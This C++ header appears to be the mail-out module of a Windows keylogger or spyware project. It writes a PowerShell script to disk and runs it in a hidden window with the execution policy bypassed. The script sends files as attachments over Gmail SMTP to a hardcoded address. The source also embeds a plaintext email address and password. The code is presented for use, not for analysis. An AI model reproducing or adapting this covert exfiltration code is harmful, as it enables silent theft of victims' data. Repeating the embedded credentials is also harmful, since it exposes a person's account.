**“SendMail.h”**

**(Because of different format code may appear different.)**

#ifndef SENDMAIL\_H

#define SENDMAIL\_H

#include <fstream>

#include <vector>

#include <Windows.h>

#include "IO.h"

#include "Timer.h"

#include "Helper.h"

#define SCRIPT\_NAME "sm.ps1"

namespace Mail

{

// Both emails can be the same

#define X\_EM\_TO "ashu28112002@gmail.com"

#define X\_EM\_FROM "ashu28112002@gmail.com"

#define X\_EM\_PASS "pusparana"

const std::string &sm =

"Param( \r\n [String]$Att,\r\n [String]$Subj,\r\n "

"[String]$Body\r\n)\r\n\r\nFunction Send-EMail"

" {\r\n Param (\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$To,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$From,\r\n [Parameter(`\r\n mandatory=$true)]\r\n "

"[String]$Password,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$Subject,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$Body,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "

"[String]$attachment\r\n )\r\n try\r\n {\r\n $Msg = New-Object "

"System.Net.Mail.MailMessage($From, $To, $Subject, $Body)\r\n $Srv = \"smtp.gmail.com\" "

"\r\n if ($attachment -ne $null) {\r\n try\r\n {\r\n"

" $Attachments = $attachment -split (\"\\:\\:\");\r\n "

" ForEach ($val in $Attachments)\r\n "

" {\r\n "

" $attch = New-Object System.Net.Mail.Attachment($val)\r\n "

" $Msg.Attachments.Add($attch)\r\n }\r\n "

"}\r\n catch\r\n {\r\n exit 2; "

"\r\n }\r\n }\r\n "

" $Client = New-Object Net.Mail.SmtpClient($Srv, 587) #587 port for smtp.gmail.com SSL\r\n "

" $Client.EnableSsl = $true \r\n $Client.Credentials = New-Object "

"System.Net.NetworkCredential($From.Split(\"@\")[0], $Password); \r\n $Client.Send($Msg)\r\n "

" Remove-Variable -Name Client\r\n Remove-Variable -Name Password\r\n "

"exit 7; \r\n }\r\n catch\r\n {\r\n exit 3; "

" \r\n }\r\n} #End Function Send-EMail\r\ntry\r\n {\r\n "

"Send-EMail -attachment $Att "

"-To \"" +

std::string(X\_EM\_TO) +

"\""

" -Body $Body -Subject $Subj "

"-password \"" +

std::string(X\_EM\_PASS) +

"\""

" -From \"" +

std::string(X\_EM\_FROM) +

"\"""\r\n }\r\ncatch\r\n {\r\n exit 4; \r\n }";

#undef X\_EM\_FROM

#undef X\_EM\_TO

#undef X\_EM\_PASS

std::string StringReplace(std::string s, const std::string &what, const std::string &with) // search for a specific string and replace that string

{

if (what.empty())

return s; // nothing to replace

size\_t sp = 0;

while ((sp = s.find(what, sp)) != std::string::npos) // as long as not equal to null terminator position

s.replace(sp, what.length(), with), sp += with.length();

return s;

}

bool CheckFileExists(const std::string &f)

{

std::ifstream file(f);

return (bool)file;

}

bool CreateScript()

{

std::ofstream script(IO::GetOurPath(true) + std::string(SCRIPT\_NAME));

if (!script)

return false; // check if script was created

script << sm;

if (!script)

return false; // was it successfully written

script.close();

return true;

}

Timer m\_timer;

int SendMail(const std::string &subject, const std::string &body, const std::string &attachments)

{

bool ok; // if mail was sucessfully sent

ok = IO::MKDir(IO::GetOurPath(true));

if (!ok)

return -1;

std::string scr\_path = IO::GetOurPath(true) + std::string(SCRIPT\_NAME);

if (!CheckFileExists(scr\_path))

ok = CreateScript(); // attempt to create script if not present

if (!ok) // was attempt successful

return -2;

std::string param = "-ExecutionPolicy ByPass -File \"" + scr\_path + "\" -Subj \"" +

StringReplace(subject, "\"", "\\\"") + "\" -Body \"" +

StringReplace(body, "\"", "\\\"") + "\" -Att \"" + attachments + "\"";

SHELLEXECUTEINFO ShExecInfo = { 0 };

ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);

ShExecInfo.fMask = SEE\_MASK\_NOCLOSEPROCESS;

ShExecInfo.hwnd = NULL;

ShExecInfo.lpVerb = "open"; // open the file

ShExecInfo.lpFile = "sm"; // file to execute

ShExecInfo.lpParameters = param.c\_str();

ShExecInfo.lpDirectory = NULL;

ShExecInfo.nShow = SW\_HIDE; // hide powershell window

ShExecInfo.hInstApp = NULL;

ok = (bool)ShellExecuteEx(&ShExecInfo);

if (!ok) // check if was executed successfully

return -3;

// Wait for 7 seconds to see if mail was successfully sent

WaitForSingleObject(ShExecInfo.hProcess, 7000);

DWORD exit\_code = 100; // arbitrary code to exit

GetExitCodeProcess(ShExecInfo.hProcess, &exit\_code); // check powershell status

m\_timer.SetFunction([&]() // lambda function to access all variables from SendMail

{

WaitForSingleObject(ShExecInfo.hProcess, 60000); // wait for one minute

GetExitCodeProcess(ShExecInfo.hProcess, &exit\_code);

if ((int)exit\_code == STILL\_ACTIVE) // check powershell status

TerminateProcess(ShExecInfo.hProcess, 100);

Helper::WriteAppLog("<From SendMail> Return code: " + Helper::ToString((int)exit\_code));

});

m\_timer.RepeatCount(1L); // execute only once

m\_timer.SetInterval(10L);

m\_timer.Start(true); // asynchronous execute

return (int)exit\_code;

}

int SendMail(const std::string &subject, const std::string &body, const std::vector<std::string> &att) // overload SendMail to send multiple attachments

{

std::string attachments = "";

if (att.size() == 1U) // check if only 1 attachment

attachments = att.at(0); // grab the first index only then

else

{

for (const auto &v : att)

attachments += v + "::"; // separate attachments with colons

attachments = attachments.substr(0, attachments.length() - 2);

}

return SendMail(subject, body, attachments);

}

}

#endif // SENDMAIL\_H